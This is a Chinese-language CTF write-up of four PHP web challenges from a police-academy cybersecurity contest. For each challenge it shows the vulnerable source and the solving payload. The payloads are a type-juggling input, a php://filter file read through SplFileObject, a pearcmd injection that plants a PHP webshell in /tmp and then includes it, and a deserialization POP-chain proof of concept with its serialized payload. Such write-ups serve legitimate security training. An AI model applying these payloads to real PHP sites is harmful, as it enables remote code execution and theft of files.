黄河流域公安院校网络空间安全技能挑战赛

babyPHP

源码

<?php
highlight_file(__FILE__);
error_reporting(0);

$num = $_GET['num'];

if (preg_match("/\'|\"|\`| |<|>|?|\^|%|\$/", $num)) {
    
    
           die("nononno");
}

if (eval("return ${num} != 2;") && $num == 0 && is_numeric($num) != true) {
    
    
 system('cat flag.php');
} else {
    
    
 echo '2';
}

考察PHP 的运算符比较级

http://43.138.65.13:2025/?num=0x0

查看源码就可以了

Ezphp

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$g = $_GET['g'];
$t = $_GET['t'];
echo new $g($t);

php原生类利用

?g=SplFileObject&t=php://filter/convert.base64-encode/resource=flag.php 

ezinclude

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
if(!preg_match("/data|base64|filter|rot13|input/i",$_GET['sdpc']) && isset($_GET['sdpc'])) {
    
    
    include($_GET['sdpc']);
} else {
    
    
    die("sry");
}

pearcmd的利用，日志包含

?+config-create+/&sdpc=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

将一句话木马包含在日志里并写到test.php中

之后再包含文件

?sdpc=file:///tmp/test.php

命令执行即可

funnyPHP

php7.4有一个源码泄露的漏洞

https://buaq.net/go-147962.html

<?php
error_reporting(0);

class A{
    
    
    public $sdpc = ["welcome" => "yeah, something hidden."];

    function __call($name, $arguments)
    {
    
    
        $this->$name[$name]();
    }

}


class B{
    
    
    public $a;

    function __construct()
    {
    
    
        $this->a = new A();
    }

    function __toString()
    {
    
    
        echo $this->a->sdpc["welcome"]; //对大家表示欢迎
    }

}

class C{
    
    
    public $b;
    protected $c;

    function __construct(){
    
    
        $this->c = new B();
    }

    function __destruct(){
    
    
        $this->b ? $this->c->sdpc('welcom') : 'welcome!'.$this->c; //变着法欢迎大家
    }
}

class Evil{
    
    
    function getflag() {
    
    
        echo file_get_contents('/fl4g');
    }
}


if(isset($_POST['sdpc'])) {
    
    
    unserialize($_POST['sdpc']);
} else {
    
    
    serialize(new C());
}


?>

在 __destruct()里让b为真就可以调用c中的sdpc方法，参数是welcom，再利用A类可以调用Evil中的getflag

poc

<?php
error_reporting(0);

class A{
    
    
    public $sdpc = ["sdpc" => ["Evil","getflag"]];

    function __call($name, $arguments)
    {
    
    
        $this->$name[$name]();
    }

}

class C{
    
    
    public $b;
    protected $c;

    function __construct(){
    
    
        $this->c = new A();
        $this->b = true;
    }

    function __destruct(){
    
    
        $this->b ? $this->c->sdpc('welcom') : 'welcome!'.$this->c; //变着法欢迎大家
    }
}

$a = new C();
echo urlencode(serialize($a));

sdpc=O%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22b%22%3Bb%3A1%3Bs%3A4%3A%22%00%2A%00c%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A4%3A%22sdpc%22%3Ba%3A1%3A%7Bs%3A4%3A%22sdpc%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A4%3A%22Evil%22%3Bi%3A1%3Bs%3A7%3A%22getflag%22%3B%7D%7D%7D%7D